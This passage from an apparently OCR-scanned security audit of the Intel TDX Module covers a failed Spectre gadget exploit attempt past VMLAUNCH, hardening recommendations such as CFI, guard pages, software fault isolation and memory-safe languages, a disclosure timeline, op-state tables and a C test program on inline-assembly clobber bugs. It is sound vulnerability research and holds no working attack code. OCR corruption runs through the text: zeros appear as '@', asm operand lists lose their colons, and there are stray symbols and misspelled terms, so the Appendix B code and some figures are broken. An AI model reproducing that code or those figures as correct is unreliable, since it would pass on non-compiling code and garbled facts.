return_val = api_error_with_operand_id(TDX_OPERAND_BUSY, OPERAND ID MIGSC);
goto EXIT;

}

migsc_locked_flag = true;

A rough calculation without parallelization shows that this is not practical assuming it takes
10,000 cycles to increment the counter by 512 on each invocation of the API: 10,000 cycles *
2% /(5 *10°) / (60 seconds * 60 minutes * 24 hours * 365 days) / 512 increments = 2284.93
years.

Exploiting Spectre Gadgets Past VMLAUNCH/VMRESUME

We mentioned in Bug 11 that two of the Spectre gadgets we identified were not exploitable.
We tried to develop a working exploit for one of these gadgets which would have allowed a
guest TD to leak memory of the VMM via executing an RDMSR instruction which is emulated by
the Intel TDX Module RDMSR exit handler and the results are output to the guest TD. This attack
vector could have been easy to exploit considering that the output of the RDMSR is forwarded
to the TD guest and that it can easily encode any forwarded value to cache accesses in the
TD memory space.

However, our exploit code did not result in leaking OOB memory. After reporting the issue to
Intel, they confirmed that speculation does not continue past VMLAUNCH or VMRESUME
instructions, which confirms our observation.
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Recommendations

In this section, we discuss some of the recommendations for improving the security of the
Intel TDX Module. Some recommendations focus on ways to reduce the attack surface of the
Intel TDX Module while others suggest enablement of additional security technologies and
known best practices.

Memory Safety Mitigations via Segmented Linear Address Space

Defense-in-depth approaches are crucial to ensure mitigation against potentially
undiscovered memory safety vulnerabilities. This is especially important because Intel TDX
Module firmware is not developed in a safe programming language like Rust, and Spectre
attacks can violate memory bounds checking.

The SEAM mode can read/write to all private memories that are mapped to the keyhole in the
linear address. This means if there is a memory safety bug or Spectre gadget in the Intel TDX
Module, the attacker can construct arbitrary memory addresses that target various physical
memory (with HKIDs) and read arbitrary memory including TD private memory.

Control Flow Integrity (CFI)

The Intel TDX module supports coarse-grain CFl based on Intel CET. The backward edge is
protected by the CET shadow stack, and the forward edge by the landing pad ENDBRANCH
instruction. These features make it difficult for an attacker to turn memory safety
vulnerabilities into code execution inside the Intel TDX Module. The main caveat is that the
landing pad instruction only provides coarse-grain CFl, hence an attacker may still be able to
construct code reuse attacks.

One way to efficiently address this limitation is to apply FinelBT, which combines the Intel CET
landing pad instruction with cheap software label checks. As claimed by the authors, the
performance overhead of this approach is less than 2%, and it has already been deployed in
the Linux kernel.

Guard Pages

Guard pages are a common defensive mitigation to prevent out-of-bounds memory primitives
at the top-level memory region categorization. For example, threads typically have their own
stack and these stacks are often mapped contiguously in a single large pool. A large stack
overflow (or a small overflow at the top of the stack) can access the adjacent thread'’s stack.
Guard pages can be inserted between these stacks to prevent this OOB access from
accessing inter-thread memory.
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These pages are typically implemented by separating each region by a single page width,
then mapping in a page table entry that falls in this gap with permissions set such that the
page is marked not present. No backing memory is required for the guard page and thus the
only cost is a single PTE and a small portion of the virtual address space.

We recommend that Intel add similar guard pages between each thread’s stack region.
Currently these are separated by the CET shadow stack pages but these pages are still
marked read-only. This prevents cross-thread linear OOB writes but does not prevent
cross-thread linear OOB reads. We demonstrated this in Vulnerability 2 and Bug 1. The
top-level memory regions (stack, global, code, keyhole) are already separated by unmapped
memory and don’t need additional guard pages.

Software Fault Isolation (SFI)

A limitation of guard pages is that they do not protect against non-linear OOB violations—if an
attacker can construct arbitrary addresses due to memory indexing overflow or Spectre
gadgets, they can go over the guard pages.

One solution to this is to apply software fault isolation in addition to guard pages. In the Intel
TDX Module, map_pa is essentially calculating a linear address. This linear address is never
supposed to reach memory beyond an nGB region (there is no supergiant page mapping). If
we can efficiently and reliably check that every memory access is within a nGB bounds, it
should be possible to mitigate OOB memory safety violations (and Spectre gadgets) so that
an attacker cannot overflow a linear memory address into an arbitrary region.

In x86_64, this bounds checking operation is almost free. Based on NaCL, one can simply
encode all memory accesses as the following and implicitly enforce such bounds checking
operation:

basereg + indexreg * scale + disp32
For example, in this pseudo-instruction:

add $oxevabcdef, %ecx
mov %eax, disp32(%RZP, %rcx, scale)

As a result, every memory access is limited to a 100G region, so that the memory that is
mapped for other VPs or the TD private memory (e.g., during calling various APIs) is not
accessible to a OOB vulnerability.
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This potentially prevents OOB reads (including Spectre v1 gadgets) in a way that an attacker
can only read what is supposed to be accessed by Intel TDX Module, for a lot of APlIs, this is
just metadata, not user data.

One caveat is that right now mig_* keys are mapped inside the TDCS, which are
highly-privileged credentials that, if leaked, lead to full compromise of TD security. But if SFI
works above, you can also map those credentials to a separate linear space in a different 100
GB region, so they are not reachable directly.

SFI comes with execution overhead, although modern hardware extensions like Intel CET and
MPK can be used to reduce the execution cost, more research and experimentation is
required to assess if this is a practical solution.

Reducing TCB via Attestable Global Feature Disablement

One of our learnings in this engagement is that the Intel TDX Module TCB is growing with
every new feature (Live migration, TD Partitioning, TDX Connect, etc.), and this growth
introduces a large attack surface for users. This is problematic in several scenarios:

e A feature may not be used by all customers, but vulnerabilities in the Intel TDX Module
remain exploitable regardless.

e The Intel TDX Module sometimes receives functionality before other components are
ready (e.g., MigTD, Host and Guest Kernel Support), so while a feature is not even
usable, the attack surface is present.

e Completely addressing vulnerabilities in the Intel TDX Module can be time consuming
due to IPU and TCB Recovery cycles, leaving customers with no mitigation option until
patches are applied.

We believe that the Intel TDX Module should have a set of global flags that are sticky,
configured during initialization, and attestable. These flags could allow a host to enable only
used features, enable only used interfaces, and lock TD attributes. This could limit the attack
surface on a compromised host.

Examples include:

e Host VMM could disable the migration feature
e Host VMM disables loading of debuggable TDs via a global flag
e Host VMM disables loading of migratable TDs via a global flag

Currently, multiple Intel TDX Module features are already opted-in by the host VMM:

e TD Migration is opted-in by the TD's MIGRATABLE attribute.

e TD Partitioning is opted-in by configuring the number of L2 VMs to a non-0 value.

e TDX Connect is opted-in at the global level (tdh_sys configand tdh_sys update
input flag) and per-TD.
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e Perfmon events filtering is a VMM-configured feature.

We recommend also supporting global enable/disable flags to remove the possibility that
TD security may be impacted by a feature, even if that feature is disabled for that specific TD,
and the fact that a certain feature is globally disabled should be attestable.

Enablement or disablement could be performed during tdh_sys_init or earlier (e.g.,
PSEAMLDR, sticky MSR bits). This also potentially requires refactoring of the Intel TDX Module
firmware to ensure that code related to a disabled feature is not reachable via any APl / user
input.

Challenges with Reflecting Platform Configuration in Attestation Reports

Currently, the attestation report is largely static. If platform configuration is updated via
runtime pcode patches, the changes are not reflected in the report until the TD Quoting SGX
enclave is restarted. While TDQuotes generated after that enclave restart will reflect SVN
changes in trusted components, a critical gap exists: there is no notification mechanism to
inform the guest VM when to initiate a new TD Quote.

This gap forces an implicit trust in Cloud Service Providers (CSPs) to provide timely updates to
TCB components. If the platform is patched for a known vulnerability, there is no way to
guarantee the guest VM can verify that the system is running the safer version before a TCB
component is compromised during that vulnerable period. Similarly, no notification
mechanism exists to alert a guest VM of underlying TCB changes following a live migration.

While the Intel TDX Live Migration TCB is measured and included in the attestation report, it is
crucial to understand that this TCB is a combination of the Intel TDX LM MigTD binary and
the Migration Policy provided by the platform owner. Intel provides a reference MigTD
implementation, but the current Intel TDX architecture does not enforce rules on the policy
nor does it authenticate the MigTD binary.

These components are measured and reported, but it is fully the customer's responsibility to
review this information and establish trust. CVM customers must carefully review the source
of the MigTD binary and the security implications of the Migration Policy, verifying both as
part of their attestation verification process.

Intel has recently published a proposal where the MigTD is not under the control of the CSP
but is integrated into the TDX Module.

Memory Safe Language and Formal Verification

The Intel TDX Module and NP/P-SEAMLDRSs are written in C, which is not a memory safe
language, and because of this considerable time was invested to review source code for
memory safety issues. Formal verification of C code is problematic due to its memory model
and direct interaction with hardware, which can result in undefined behavior. While tools exist,
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such as Frama-C for analysis and CompCert for compilation, using a memory safe language,
such as Rust, would have almost eliminated this entire class of vulnerabilities.

Usage of unsafe in Rust would still need to be scrutinized but multiple vulnerabilities and
bugs disclosed in this report would have not existed.

Furthermore, multiple recommendations described above are included for the sole purpose of
providing DiD against memory safety issues, which themselves increase complexity of the
software and carry a non-zero impact to system performance.

Memory safe languages, such as Rust, are already being used for the development of Intel’s
MigTD and would be a great alternative for these codebases. Intel could rewrite the existing
implementations, in a memory safe language, but allowing 3rd parties to develop their own
TDX module provides the most flexibility. This would allow 3rd parties to select the language,
build tools, desired features, and utilize analysis tools that meet their specific functional
needs and security requirements.

Disclosure Timeline

Following our investigation, we discovered and disclosed several security vulnerabilities to
Intel. Intel promptly assigned CVEs but set a public disclosure timeline of February 2026 for
the following reasons:

1. High-Risk Updates: Updates to the Intel TDX Module are inherently disruptive to
production environments due to the module's high privilege level. Therefore, simply
patching the binary is insufficient. Each cloud provider will need several months to test,
qualify, and safely roll out the fix to their infrastructure.

2. Customer Attestation: Any security fix that changes the TCB requires close
coordination with customers. This collaboration is essential to give them time to
update their attestation policies and prevent unexpected disruptions to their
workloads.

Additionally, some identified items (less critical bug fixes and some security weaknesses) are
not included in the February 2026 release but are expected to be addressed in subsequent
releases.

As security researchers, we feel a responsibility to all Intel TDX users. We are adhering to
Intel's timeline to ensure a proper mitigation is in place before the vulnerabilities are publicly
detailed.

We have verified that no Google CVM customers were exposed to vulnerability 1. Following
the principle of least privilege, Live Migration support has never been enabled in our
production environment. This can be independently verified through the hardware-rooted
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Intel TDX attestation report generated on-demand. The Google Cloud log also stores
immutable copies of Hardware rooted attestation reports for CVM instances created in the
past. Google has written a blog post to provide guidance on how attestation can be used to
verify SVNs and attributes.

Furthermore, for vulnerability 2, 3, 4, and 5 we have verified that there has been no evidence
of active exploitation of these vulnerabilities among Google CVM customers.
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Appendix A

The data structures used in by the Intel TDX Module for the SEAMCALL and TDCALL API located
in include/auto_gen/op_state_lookup.c as seamcall state_lookup and

tdcall state lookup. Both tables are two-dimensional arrays of type bool t so a couple of
scripts were created to parse them into a more readable format.

This table shows the different op state of a TD and the available SEAMCALL API. The notes
provide the primary transition APl and next state.

Operation Allowed SEAMCALLS Notes

OP_STATE_UNINITIALIZED | TDH_MNG_ADDCX_LEAF TDH_MNG_INIT_LEAF transitions to
TDH_VP_FLUSH_LEAF OP_STATE_INITIALIZED
TDH_MNG_INIT_LEAF
TDH_SERVTD_BIND_LEAF TDH_IMPORT_STATE_IMMUTABLE_LEAF
TDH_SERVTD_PREBIND_LEAF transitions to OP_STATE_MEMORY_IMPORT
TDH_IMPORT_STATE_IMMUTABLE
_LEAF TDH_IMPORT_STATE_IMMUTABLE_LEAF

TDH_MIG_STREAM_CREATE_LEAF | transitions to OP_STATE_FAILED_IMPORT
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OP_STATE_INITIALIZED

OP_STATE_RUNNABLE

TDH_MEM_PAGE_ADD_LEAF
TDH_MEM_SEPT_ADD_LEAF
TDH_VP_ADDCX_LEAF
TDH_MEM_PAGE_RELOCATE
TDH_MEM_PAGE_AUG_LEAF
TDH_MEM_RANGE_BLOCK_LEAF
TDH_VP_CREATE_LEAF
TDH_MNG_RD_LEAF
TDH_MEM_RD_LEAF
TDH_MNG_WR_LEAF
TDH_MEM_WR_LEAF
TDH_MEM_PAGE_DEMOTE_LEAF
TDH_MR_EXTEND_LEAF
TDH_MR_FINALIZE_LEAF
TDH_VP_FLUSH_LEAF
TDH_VP_INIT_LEAF
TDH_MEM_PAGE_PROMOTE_LEAF
TDH_MEM_SEPT_RD_LEAF
TDH_VP_RD_LEAF
TDH_MEM_PAGE_REMOVE_LEAF
TDH_MEM_SEPT_REMOVE_LEAF
TDH_MEM_TRACK_LEAF
TDH_MEM_RANGE_UNBLOCK_LEAF
TDH_VP_WR_LEAF
TDH_SERVTD_BIND_LEAF
TDH_SERVTD_PREBIND_LEAF
TDH_MIG_STREAM_CREATE_LEAF

TDH_VP_ENTER_LEAF
TDH_MEM_SEPT_ADD_LEAF
TDH_MEM_PAGE_RELOCATE
TDH_MEM_PAGE_AUG_LEAF
TDH_MEM_RANGE_BLOCK_LEAF
TDH_MNG_RD_LEAF
TDH_MEM_RD_LEAF
TDH_MNG_WR_LEAF
TDH_MEM_WR_LEAF
TDH_MEM_PAGE_DEMOTE_LEAF
TDH_VP_FLUSH_LEAF
TDH_MEM_PAGE_PROMOTE_LEAF
TDH_MEM_SEPT_RD_LEAF
TDH_VP_RD_LEAF
TDH_MEM_PAGE_REMOVE_LEAF
TDH_MEM_SEPT_REMOVE_LEAF
TDH_MEM_TRACK_LEAF
TDH_MEM_RANGE_UNBLOCK_LEAF
TDH_VP_WR_LEAF
TDH_SERVTD_BIND_LEAF
TDH_EXPORT_RESTORE_LEAF
TDH_EXPORT_STATE_IMMUTABLE
_LEAF
TDH_EXPORT_UNBLOCKW_LEAF
TDH_MIG_STREAM_CREATE_LEAF
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TDH_MR_FINALIZE_LEAF transitions to
OP_STATE_RUNNABLE

TDH_EXPORT_STATE_IMMUTABLE_LEAF
transitions to OP_STATE_LIVE_EXPORT
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OP_STATE_LIVE_EXPORT

OP_STATE_PAUSED_EXPORT

TDH_VP_ENTER_LEAF
TDH_MEM_SEPT_ADD_LEAF
TDH_MEM_PAGE_RELOCATE
TDH_MEM_PAGE_AUG_LEAF
TDH_MEM_RANGE_BLOCK_LEAF
TDH_MNG_RD_LEAF
TDH_MEM_RD_LEAF
TDH_MNG_WR_LEAF
TDH_MEM_WR_LEAF
TDH_MEM_PAGE_DEMOTE_LEAF
TDH_VP_FLUSH_LEAF
TDH_MEM_PAGE_PROMOTE_LEAF
TDH_MEM_SEPT_RD_LEAF
TDH_VP_RD_LEAF
TDH_MEM_PAGE_REMOVE_LEAF
TDH_MEM_SEPT_REMOVE_LEAF
TDH_MEM_TRACK_LEAF
TDH_MEM_RANGE_UNBLOCK_LEAF
TDH_VP_WR_LEAF
TDH_SERVTD_BIND_LEAF
TDH_EXPORT_ABORT_LEAF
TDH_EXPORT_BLOCKW_LEAF
TDH_EXPORT_MEM_LEAF
TDH_EXPORT_PAUSE_LEAF
TDH_EXPORT_TRACK_LEAF
TDH_EXPORT_UNBLOCKW_LEAF

TDH_MEM_PAGE_RELOCATE
TDH_MEM_RANGE_BLOCK_LEAF
TDH_MNG_RD_LEAF
TDH_MEM_RD_LEAF
TDH_MEM_PAGE_DEMOTE_LEAF
TDH_VP_FLUSH_LEAF
TDH_MEM_PAGE_PROMOTE_LEAF
TDH_MEM_SEPT_RD_LEAF
TDH_VP_RD_LEAF
TDH_MEM_PAGE_REMOVE_LEAF
TDH_MEM_SEPT_REMOVE_LEAF
TDH_MEM_TRACK_LEAF
TDH_MEM_RANGE_UNBLOCK_LEAF
TDH_EXPORT_ABORT_LEAF
TDH_EXPORT_MEM_LEAF
TDH_EXPORT_TRACK_LEAF
TDH_EXPORT_STATE_TD_LEAF
TDH_EXPORT_STATE_VP_LEAF
TDH_EXPORT_UNBLOCKW_LEAF
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TDH_EXPORT_ABORT_LEAF transitions to
OP_STATE_RUNNBALE

TDH_EXPORT_ABORT_LEAF transitions to
OP_STATE_PAUSED_EXPORT

TDH_EXPORT_TRACK_LEAF transitions to
OP_STATE_POST_EXPORT

TDH_EXPORT_ABORT_LEAF transitions to
OP_STATE_RUNNBALE
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OP_STATE_POST_EXPORT

OP_STATE_MEMORY_IMPORT

OP_STATE_STATE_IMPORT

TDH_MEM_PAGE_RELOCATE
TDH_MEM_RANGE_BLOCK_LEAF
TDH_MNG_RD_LEAF
TDH_MEM_RD_LEAF
TDH_MEM_PAGE_DEMOTE_LEAF
TDH_VP_FLUSH_LEAF

TDH_MEM_PAGE_PROMOTE_LEAF

TDH_MEM_SEPT_RD_LEAF
TDH_VP_RD_LEAF
TDH_MEM_PAGE_REMOVE_LEAF
TDH_MEM_SEPT_REMOVE_LEAF
TDH_MEM_TRACK_LEAF

TDH_MEM_RANGE_UNBLOCK_LEAF

TDH_EXPORT_ABORT_LEAF
TDH_EXPORT_MEM_LEAF
TDH_EXPORT_UNBLOCKW_LEAF

TDH_MEM_SEPT_ADD_LEAF
TDH_MNG_RD_LEAF
TDH_MEM_RD_LEAF
TDH_MNG_WR_LEAF
TDH_MEM_WR_LEAF
TDH_VP_FLUSH_LEAF
TDH_MEM_SEPT_RD_LEAF
TDH_VP_RD_LEAF
TDH_MEM_SEPT_REMOVE_LEAF
TDH_MEM_TRACK_LEAF
TDH_VP_WR_LEAF
TDH_IMPORT_ABORT LEAF
TDH_IMPORT_MEM_LEAF
TDH_IMPORT_TRACK_LEAF
TDH_IMPORT_STATE_TD_LEAF

TDH_MEM_SEPT_ADD_LEAF
TDH_VP_ADDCX_LEAF
TDH_VP_CREATE_LEAF
TDH_MNG_RD_LEAF
TDH_MEM_RD_LEAF
TDH_MNG_WR_LEAF
TDH_MEM_WR_LEAF
TDH_VP_FLUSH_LEAF
TDH_MEM_SEPT_RD_LEAF
TDH_VP_RD_LEAF
TDH_MEM_SEPT_REMOVE_LEAF
TDH_MEM_TRACK_LEAF
TDH_VP_WR_LEAF
TDH_IMPORT_ABORT_LEAF
TDH_IMPORT_MEM_LEAF
TDH_IMPORT_TRACK_LEAF
TDH_IMPORT_STATE_VP_LEAF
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TDH_EXPORT_ABORT_LEAF transitions to
OP_STATE_RUNNBALE

TDH_IMPORT_STATE_TD_LEAF transitions to
OP_STATE_STATE_IMPORT

TDH_IMPORT_TRACK_LEAF transitions to
OP_STATE_POST_IMPORT

TDH_IMPORT_MEM_LEAF transitions to
OP_STATE_LIVE_IMPORT

TDH_IMPORT_ABORT_LEAF transitions to
OP_STATE_FAILED_IMPORT

TDH_IMPORT_STATE_TD_LEAF transitions to
OP_STATE_FAILED_IMPORT
TDH_IMPORT_TRACK_LEAF transitions to

OP_STATE_POST_IMPORT

TDH_IMPORT ABORT LEAF transitions to
OP_STATE_FAILED_IMPORT

TDH_IMPORT_MEM_LEAF transitions to
OP_STATE_LIVE_IMPORT

TDH_IMPORT_STATE_VP_LEAF transitions to
OP_STATE_FAILED_IMPORT
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OP_STATE_POST_IMPORT

OP_STATE_LIVE_IMPORT

OP_STATE_FAILED_IMPORT

TDH_MEM_SEPT_ADD_LEAF
TDH_MEM_PAGE_RELOCATE
TDH_MEM_RANGE_BLOCK_LEAF
TDH_MNG_RD_LEAF
TDH_MEM_RD_LEAF
TDH_MNG_WR_LEAF
TDH_MEM_WR_LEAF
TDH_MEM_PAGE_DEMOTE_LEAF
TDH_VP_FLUSH_LEAF
TDH_MEM_PAGE_PROMOTE_LEAF
TDH_MEM_SEPT_RD_LEAF
TDH_VP_RD_LEAF
TDH_MEM_PAGE_REMOVE_LEAF
TDH_MEM_SEPT_REMOVE_LEAF
TDH_MEM_TRACK_LEAF
TDH_MEM_RANGE_UNBLOCK_LEAF
TDH_VP_WR_LEAF
TDH_SERVTD_BIND_LEAF
TDH_IMPORT_ABORT_LEAF
TDH_IMPORT_END_LEAF
TDH_IMPORT_COMMIT_LEAF
TDH_IMPORT_MEM_LEAF

TDH_VP_ENTER_LEAF
TDH_MEM_SEPT_ADD_LEAF
TDH_MEM_PAGE_RELOCATE
TDH_MEM_PAGE_AUG_LEAF
TDH_MEM_RANGE_BLOCK_LEAF
TDH_MNG_RD_LEAF
TDH_MEM_RD_LEAF
TDH_MNG_WR_LEAF
TDH_MEM_WR_LEAF
TDH_MEM_PAGE_DEMOTE_LEAF
TDH_VP_FLUSH_LEAF
TDH_MEM_PAGE_PROMOTE_LEAF
TDH_MEM_SEPT_RD_LEAF
TDH_VP_RD_LEAF
TDH_MEM_PAGE_REMOVE_LEAF
TDH_MEM_SEPT_REMOVE_LEAF
TDH_MEM_TRACK_LEAF
TDH_MEM_RANGE_UNBLOCK_LEAF
TDH_VP_WR_LEAF
TDH_SERVTD_BIND_LEAF
TDH_EXPORT_STATE_IMMUTABLE
_LEAF

TDH_IMPORT_END_LEAF
TDH_IMPORT_MEM_LEAF

TDH_MNG_RD_LEAF
TDH_MEM_RD_LEAF
TDH_MNG_WR_LEAF
TDH_MEM_WR_LEAF
TDH_VP_FLUSH_LEAF
TDH_MEM_SEPT_RD_LEAF
TDH_VP_RD_LEAF
TDH_MEM_PAGE_REMOVE_LEAF
TDH_MEM_SEPT_REMOVE_LEAF
TDH_VP_WR_LEAF
TDH_IMPORT_ABORT_LEAF
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TDH_IMPORT_END_LEAF transitions to
OP_STATE_RUNNBALE

TDH_IMPORT_COMMIT_LEAF transitions to
OP_STATE_LIVE_IMPORT

TDH_IMPORT_MEM_LEAF transitions to
OP_STATE_FAILED_IMPORT

TDH_IMPORT_ABORT_LEAF transitions to
OP_STATE_FAILED_IMPORT

TDH_IMPORT_END_LEAF transitions to
OP_STATE_RUNNBALE

TDH_EXPORT_STATE_IMMUTABLE_LEAF
transitions to OP_STATE_LIVE_EXPORT

TDH_IMPORT_MEM_LEAF transitions to
OP_STATE_LIVE_IMPORT

TDH_IMPORT ABORT LEAF transitions to
OP_STATE_FAILED_IMPORT
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Another table was created for the TDCALL API but not included here due to its simplicity. It
showed that all states allowed both TDG_SERVTD RD_LEAF, and TDG_SERV_TD_WR_LEAF except
OP_STATE_PAUSED EXPORT and OP_STATE_POST_EXPORT which only allowed
TDG_SERVTD_RD_LEAF.

Appendix B

Example source code showing how excluding RCX from the clobber list can introduce bugs
depending on usage and compiler optimization.

// gcc version 14.2.0
// gcc -02 clobber.c
// gcc -01 clobber.c
// gcc -0s clobber.c

// clang version 19.1.7
// clang -01 clobber.c
// clang -02 clobber.c
// clang -0s clobber.c

#define _GNU_SOURCE
#include <string.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>

// #define INFINITE_LOOP_TEST
// #define PAGE_FAULT_TEST

// #define RCX_IN_INPUT_ONLY
// #define RCX_IN_INPUT_AND_OUTPUT

#ifdef RCX_IN_INPUT_ONLY
static inline void tdx_memcpy(void *dst, uint64_t dst_bytes, void *src, uint64_t
nbytes) {

volatile uint64_t junk_a, junk_b;

asm volatile("rep; movsb;"
: "=S"(junk_a), "=D"(junk_b)
: "c"(nbytes), "S"(src), "D"(dst)
: "memory");

}
#endif // RCX_IN_INPUT_ONLY

#ifdef RCX_IN_INPUT_AND_OUTPUT
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static inline void tdx_memcpy(void *dst, uint64_t dst_bytes, void *src, uint64_t
nbytes) {
volatile uint64_t junk_a, junk_b, junk_c;

asm volatile("rep; movsb;"
"=S"(junk_a), "=D"(junk_b), "=c"(junk_c)
"c"(nbytes), "S"(src), "D"(dst)
"memory");

}
#endif // RCX_IN_INPUT_AND_OUTPUT

#define ARRAY_SIZE 64
uint8 t dst[ARRAY SIZE]
uint8_t src[ARRAY_SIZE]

{42};
{73}%;

void sigsegv_handler(int signum, siginfo_ t *si, void *context) {
ucontext_t *uc = (ucontext_t *)context;

printf("[-] test failed: sigsegv rip: @x%llx, rcx: @x%llx\n",
uc->uc_mcontext.gregs[REG_RIP], uc->uc_mcontext.gregs[REG_RCX]);
exit(-1);

int main(int argc, char *argv[]) {

struct sigaction sa;

sa.sa_flags = SA_SIGINFO;
sa.sa_sigaction = &sigsegv_handler;
sigaction(SIGSEGV, &sa, NULL);

#ifdef PAGE_FAULT_TEST
int count = 64;

for (int 1 = @; i < count; i++) {
tdx_memcpy(dst, sizeof(dst), src, count);
count--;

}
#endif // PAGE_FAULT_TEST

#ifdef INFINITE_LOOP_TEST
for (int i = @; i < ARRAY_SIZE; i++) {
tdx_memcpy(dst, sizeof(dst), src, i);

}
#endif // INFINITE_LOOP_TEST

printf("[+] test passed\n");
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return 0;



